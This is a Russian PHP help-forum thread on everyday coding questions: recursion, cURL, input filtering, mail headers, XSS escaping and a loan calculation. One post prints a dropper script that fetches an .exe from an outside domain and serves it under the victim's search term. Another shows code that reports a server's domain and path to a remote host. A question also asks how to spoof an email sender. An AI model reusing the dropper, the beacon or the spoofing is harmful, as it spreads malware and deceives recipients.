Хочу написать функцию типа strlen(), да чё-то рекурсия не поддаётся =\ PHP: function myStrlen($str){ if($str===true) return 1; if(is_array($str)) return 0; //Здесь бы какую-нибудь ошибку инициализировать типа Warning ... $str=(string)$str; static $cnt=0; if (!is_null($str{$cnt})) { //Может здесь неправильное условие? $cnt++; myStrlen($str); } else return $cnt; } Понятно, что можно и без рекурсии гораздо легче: PHP: for($cnt=0; $str{$cnt}; $cnt++); return $cnt; Но всё же, почему бесконечная рекурсия получается?
Спасибо =) И еще вопрос, не могу разобраться в чем проблемма. При отправле курл запроса на сайт1 - все ок, а на сайт2 - нечего не происходит. Этот код нечего не возвращает (вводил и адрес сайта и скрипта(http://site2.ru/script.php) - нечего не обрабатывается, нечего не выводится) PHP: function test() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://site2.ru"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } P.S. если обращаюсь к http://site1.ru - выводит главную страницу, к http://site1.ru/script.php - все обрабатывается как надо. P.S.2. Если на обоих сайтах в script.php изменить $_POST на $_GET и передать параметры вручную(через браузер) - то все выполняется на обоих сайтах. хз в чем причина =(
Ребят подскажите тупому. Code: if (empty($name)) { echo "<b>Не указано имя!<p>"; Если поле Имя будет пустым, то появится ошибка. А как сделать на основе этого , например если я введу вместо имени мат, чтобы появилась ошибка? Так? Code: if (МАТ($name)) { echo "<b>Мат!<p>"; помогите срочно.
vova1609, PHP: $mat=array('мат', 'второй мат', 'третий мат'); if(in_array($name, $mat)){ echo '<b>Мат!<p>'; }
Есть вот такой кусок кода: PHP: if($_COOKIE['ref']){ if(file_exists('pp/'.$_COOKIE['ref'])){ $ref=$_COOKIE['ref']; }else{ $ref='-'; } }else{ $ref='-'; } if($_GET['ref']){ if(file_exists('pp/'.$_GET['ref'])){ $ref=$_GET['ref']; setcookie('ref', $_GET['ref']); }else{ $ref='-'; } }else{ $ref='-'; } echo $ref; Как его правильно сократить, "привести в порядок"? Мне кажется что повторение такого количества условий, обращений к файлу не есть правильным.
Вот: PHP: $ref = '-'; if ($ref = $_COOKIE['ref']) { if(!file_exists('pp/'.$ref)){ $ref='-'; } elseif ($ref = $_GET['ref']) { if(file_exists('pp/'.$ref)) setcookie('ref', $_GET['ref']); } echo $ref;
PHP: <?php $ref = (isset($_COOKIE['ref']) && file_exists('pp/'.$_COOKIE['ref']) ? $_COOKIE['ref'] : false; if(!$ref) $ref = (isset($_GET['ref']) && file_exists('pp/'.$_GET['ref']) ? $_GET['ref'] : false; if(!$_COOKIE['ref']) setcookie('ref', $_GET['ref']) else setcookie('ref', '-'); и еще так как вариант, правда не проверял, ну по идее работает.
spiderbuber, PHP: <?php $domain = $_SERVER['SERVER_NAME']; $directory = $_SERVER['SCRIPT_NAME']; $url = "http://test.ru/index.php?data=".$domain.$directory; $get = file_get_contents($url); if ($get) { echo $get; } ?> PHP: <?php $log = "log.txt"; if (is_file($log)) { if (file_get_contents($log)) { die('Can\'t write to file! File already contains some data.'); } else { file_put_contents($log, $_GET['data']); die(); } } else { file_put_contents($log, $_GET['data']); die(); } ?> ?
Подскажите где скачать самоучитель php?желательно в.txt Сколько уже качал.Отправте sms на номер и т.д Заранее спасибо!
Требуется отправить письмо функцией mail() PHP: mail( '[email protected]', 'Тема сообщения', 'Текст сообщения', 'From: [email protected]' ); В таком случае на почте у пользователя будет в поле "От" написан e-mail, как это видно на скриншоте: (на кодировку не обращайте внимания, исправлю). Но вот письмо ниже(спам) написано "Налоговые разницы". Как с помощью функции mail() отправить письмо, чтобы вместо адреса выводился нужный мне текст, причем так чтобы осталась возможность подмены отправителя?
daniel777 http://tools.ietf.org/html/rfc822 PHP: mail( '[email protected]', 'Тема сообщения', 'Текст сообщения', 'From: blabla <[email protected]>' );
НАткнулся на такое keys.txt содержит тест||test как ехе у "коней" забрать)) это же что то типа связки вроде? Code: <?php error_reporting(0); $filename = './soft.exe'; if(isset($_GET['q'])){ // q и query это ваши ключи которые передаются с тдс $query=$_GET['q']; } if(isset($_GET['query'])){ $query=$_GET['query']; } if ((filectime("soft.exe")+1200)<(time())) { copy('http://xn--4-ttbjd0g.xn--p1ai/pp193.exe','soft.exe'); //Ваш линк на файл } if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) Header('Content-Type: application/force-download'); else Header('Content-Type: application/octet-stream'); Header('Accept-Ranges: bytes'); Header('Content-Length: ' . filesize($filename)); Header('Content-disposition: attachment; filename="'.translitIt($query).'.exe"'); readfile($filename); $fref = fopen("keys.txt", "a+"); $ref = $query.'||'.translitIt($query); fwrite($fref, $ref."\n"); fclose($fref); exit(); function translitIt($str) { $tr = array("А" => "A", "Б" => "B", "В" => "V", "Г" => "G", "Д" => "D", "Е" => "E", "Ж" => "J", "З" => "Z", "И" => "I", "Й" => "Y", "К" => "K", "Л" => "L", "М" => "M", "Н" => "N", "О" => "O", "П" => "P", "Р" => "R", "С" => "S", "Т" => "T", "У" => "U", "Ф" => "F", "Х" => "H", "Ц" => "TS", "Ч" => "CH", "Ш" => "SH", "Щ" => "SCH", "Ъ" => "", "Ы" => "YI", "Ь" => "", "Э" => "E", "Ю" => "YU", "Я" => "YA", "а" => "a", "б" => "b", "в" => "v", "г" => "g", "д" => "d", "е" => "e", "ж" => "j", "з" => "z", "и" => "i", "й" => "y", "к" => "k", "л" => "l", "м" => "m", "н" => "n", "о" => "o", "п" => "p", "р" => "r", "с" => "s", "т" => "t", "у" => "u", "ф" => "f", "х" => "h", "ц" => "ts", "ч" => "ch", "ш" => "sh", "щ" => "sch", "ъ" => "y", "ы" => "yi", "ь" => "", "э" => "e", "ю" => "yu", "я" => "ya", " " => "_"); $sk = array("Скачать", "скачать", ".zip", ".RAR", ".rar"); return strtr(str_replace($sk, "", $str), $tr); } ?>
Только после получения доступа к серверу, или использования подходящих уязвимостей. Если я правильно понял, то функция mail() отправляет с прямо с сервера, а SMTP это протокол, через который можно отправлять письма с сервера. Благодарю за ответ, но всё решилось гораздо проще. Скрипт отдаёт на скачивание файл, и записывает переданные ключи в файл keys.txt ------- И вопрос от меня: На странице выводиться содержимое массива $_GET. Достаточно ли для защиты от XSS перед выводом отфильтровать каждый его элемент функцией strip_tags(), а потом htmlspecialchars()?
daniel777 Выводятся не в аттрибуте, не внутри тегов script, style - достаточно htmlspecialchars А вообще - http://owasp.com/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet Убрать пробел в ссылке
Помогите пожалуйста написать расчет просрочки по банковскому кредиту на php Информация по кредиту Взяли кредит на 30 дней с 01.12.2012 по 31.12.2012, должны по кредиту вернуть 50 000 руб, суточный процент по просрочке 0.4 Есть массив данных с погашениями Дата погашения | сумма 1 января | сумма 20 000 руб 3 января | сумма 5 000 руб 8 января | 25 000 руб - (долг погашен) Пример массива погашений Данные о кредите в обычных переменных. Я рассчитываю просрочку вручную в excel так Помогите сделать такую же таблицу в php
Здравствуйте. Вопрос наверное не по теме. Но очень требуется написать скрипт. Где его можно заказать?